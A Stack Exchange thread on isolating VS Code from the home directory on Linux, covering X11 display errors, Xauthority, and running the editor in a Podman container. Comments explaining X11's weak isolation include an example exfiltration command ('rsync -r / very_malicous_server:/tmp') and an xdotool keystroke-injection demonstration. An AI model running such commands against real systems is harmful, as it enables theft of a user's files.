0

Essentially what I want is to run vscode without giving it permission to read my home directory.

So I created a new user vscode and downloaded the .tar.gz file from https://code.visualstudio.com/#alt-downloads

Now I'm trying to run code as vscode while logged in as me, like this:

~$ su - vscode -c "/home/vscode/code-stable-x64-1638855856/VSCode-linux-x64/bin/code --verbose"
Password: 
[8347:1214/125108.021461:ERROR:browser_main_loop.cc(1402)] Unable to open X display.
The futex facility returned an unexpected error code.
/dev/fd/3: No such file or directory
Server response:

I also tried using ssh -Y vscode@localhost and then starting code from within, which worked, but I'd like to avoid using ssh if possible.

  • https://unix.stackexchange.com/questions/372850/how-to-run-command-as-different-user – iLuvLogix Dec 14 '21 at 12:58
  • But the problem here seems to be that you're unable to open the GUI.. Maybe see https://code.visualstudio.com/docs/setup/linux for more help. – iLuvLogix Dec 14 '21 at 13:11

2 Answers2

1

you need to

  1. Set the $DISPLAY variable correctly,
  2. give access to the ~/.Xauthority file
  3. share the socket within the /tmp/.X11-unix directory

Note that once you share your X server with a different client, it's basically the same as running the program as your own user, security-wise: the client can observe the keyboard, take screen shots, synthesize key presses, and I wouldn't be surprised if some lesser-used functionality in the X11 protocol (loading textures? Fonts?) could be abused as remote file reader. Not an expert in the X11 protocol, though.

Since the isolation is super weak, anyway, you could also be less complicated in how you restrict access to your home directory: Containers.

Linux has namespaces, and technologies like docker, kubernetes, snaps and so on depend on that. What you can do is start a process, as a normal user, and give that process a complete own view of the user and file system landscape – one without your home directory.

Podman is one of these technologies, and it's available on debian, IIRC. Installing it should be as straightforward as possible:

sudo apt install -y podman

Then, you should just be able to run containers:

podman run -it --rm debian:sid
#       |   |   |    |
#       +--------------- Run subcommand: run a container
#           |   |    |
#           +----------- interactive, i.e., assign a virtual terminal, 
#               |    |   so you can see and type into an interactive session
#               |    |
#               +------- Remove the container after you're done - no data survives,
#                    |   if it's only in the container. Of course, things on 
#                    |   volumes specified using the -v source_path:destination
#                    |   persist, since they are "outside".
#                    |
#                    +-- name:tag is the way to specify what
#                        container you want to fetch in which version

To run something graphical, you need to allow the things mentioned above, and tell SELinux you're up to things you promise are OK:

podman run -e DISPLAY=$DISPLAY \
            -v /tmp/.X11-unix:/tmp/.X11-unix:Z \
             -v ~/.Xauthority:/root/.Xauthority:Z \
              --security-opt label=type:container_runtime_t \
               -it --rm fedora:35
#           ||||
#           +---- -e INSIDE=OUTSIDE  set an env variable INSIDE inside the
#            |||     container to the value OUTSIDE
#            ||| 
#            +--- -v SOURCE:DEST[:permissions]
#             ||     SOURCE directory or file appears under DEST within
#             ||     container; :Z means that the podman-running users'
#             ||     permissions are translated to root permissions inside.
#             ||     Here, mount the host's X11 socket directory at the same place
#             ||
#             +-- -v SOURCE:DEST[:permissions] again
#              |     Here, mount the podman-running user's ~/.Xauthority
#              |     as /root/.Xauthority owned by root.
#              |     
#              +- --rm -it: see above     
[root@4da385540218 /]#

see how you're suddenly root inside a container that you've started yourself – as non-root!

We can now install vscode into this container, sharing your folder ~/sourcecode as /sourcecode in the container, and using that as user data directory for vscode:

podman run -e DISPLAY=$DISPLAY \
           -v /tmp/.X11-unix:/tmp/.X11-unix:Z \
           -v ~/.Xauthority:/root/.Xauthority:Z \
           --security-opt label=type:container_runtime_t \
           -v ~/sourcecode:/sourcecode:Z \
           -it --rm fedora:35
[root@4da385540218 /]#
 rpm --import https://packages.microsoft.com/keys/microsoft.asc
[root@4da385540218 /]#
 echo -e "[code]\nname=Visual Studio Code\nbaseurl=https://packages.microsoft.com/yumrepos/vscode\nenabled=1\ngpgcheck=1\ngpgkey=https://packages.microsoft.com/keys/microsoft.asc" > /etc/yum.repos.d/vscode.repo
[root@4da385540218 /]#
 dnf --refresh update -y
[root@4da385540218 /]#
 dnf install -y code
[root@4da385540218 /]#
 code --user-data-dir /sourcecode/ --no-sandbox
  • "Note that once you share your X server with a different client, it's basically the same as running the program as your own user, security-wise: ..." - does this also apply in the ssh -Y ... scenario? – php_nub_qq Dec 14 '21 at 17:29
  • yes, it does. This is architecture-inherent to X11. – Marcus Müller Dec 14 '21 at 17:32
  • Thank you extremely much for this exhaustive answer. I'm having trouble understanding though, if I manage to get it working using su or ssh, how would the supposedly malicious program be able to read files the user it's running under has no permissions of reading? Does sharing my x server allow it to run commands from my user? Excuse me if this is a dumb question I'm not very experienced. – php_nub_qq Dec 14 '21 at 17:49
  • @php_nub_qq as said, it allows the program to type arbitrary things on your keyboard, arbitrarily fast. So, yes, opening your desktop environment's "run" dialog (simply by trying out a few things, or by querying via X to figure out who owns the root of all windows, and then just pressing the right keys), then typing in rsync -r / very_malicous_server:/tmpEnter, for example. What else do you need? – Marcus Müller Dec 14 '21 at 17:53
  • 1
    Old X had a "Secure Keyboard" mode, which almost no app used. With xhost access and without "Secure Keyboard", I can read what you type by asking your X server. I wrote a Proof of Concept to demonstrate the point to a multinational company. – waltinator Dec 14 '21 at 18:06
  • yeah, some SSH tutorials still cite the "X11 SECURITY extensions". The fact that you think you can enforce security through an extension speaks a very clear language to me... none in X11 is designed with even a modicum of security, privacy, or even safety in mind. – Marcus Müller Dec 14 '21 at 18:08
  • How do people run programs then, if it's so easy to steal your stuff. This is madness.. – php_nub_qq Dec 14 '21 at 18:14
  • People simply do not run untrusted X11 programs. It's simple as that. – Marcus Müller Dec 14 '21 at 18:17
  • @waltinator yeah, i just installed xdotool in the container set up as described above, ran sleep 5; xdotool key Alt+F2 x t e r m Return; moved the focus to an empty Gnome screen area and guess what. – Marcus Müller Dec 14 '21 at 18:18
  • @MarcusMüller well how do you trust a program? Even if it is open source you can't possibly inspect the full source code of all programs you run, or expect anyone else to has done so. Regarding your last comment, does that mean the container is also useless? – php_nub_qq Dec 14 '21 at 18:31
  • Re: trust. When you execute software with as low a separation barrier as X11, you need to trust it as much as a program that you run on the command line, that's what I'm saying. How trust is established – that's a whole different business. Re: "also useless": yes, it's not safer than your user separation approach, as I explicitly said in my answer (Since the isolation is super weak, anyway, you could also be less complicated in how you restrict access to your home directory: Containers.), but it solves the problem that another user can't open your sockets. – Marcus Müller Dec 14 '21 at 18:35
  • @MarcusMüller Well I just tried the xdotool thing and nothing happened in my case. I suppose it could be related to the fact that I also can't start vscode from within the container, getting error while loading shared libraries: libxshmfence.so.1: cannot open shared object file: No such file or directory – php_nub_qq Dec 14 '21 at 19:16
  • ah on f34 you need to dnf install libxshmfence, sorry. – Marcus Müller Dec 14 '21 at 19:23
  • @MarcusMüller well, turns out I'm using Wayland, which might be why the xdotool trick didn't work for me. I got slightly carried away, going to continue trying to get it running, I'm on apt but I guess the package name will be the same. – php_nub_qq Dec 14 '21 at 21:01
  • Here I am reporting my adventures for what it's worth. After libxshmfence it forced me to download a dozen other libraries amounting to a total of 500+ MB of libraries, and in the end running code does nothing. I mean, it probably starts inside the container, but I don't see anything. – php_nub_qq Dec 14 '21 at 21:29
  • @php_nub_qq did you run it with code --user-data-dir /sourcecode/ --no-sandbox ? without the --no-sandbox, it will just silently not start. – Marcus Müller Dec 14 '21 at 23:02
0

How do you do these steps ? Set the $DISPLAY variable correctly, give access to the ~/.Xauthority file share the socket within the /tmp/.X11-unix directory

Im new to ubuntu and have no idea what this means or how to do this. I installed code and yesterday i was able to open it, today i wasnt. When i type code --verbose it says "Unable to open X display. The futex facility returned an unexpected error code. /dev/fd/3: No such file or directory" and thats how i ended up here. im in ubuntu 20.04

Duarte
  • 1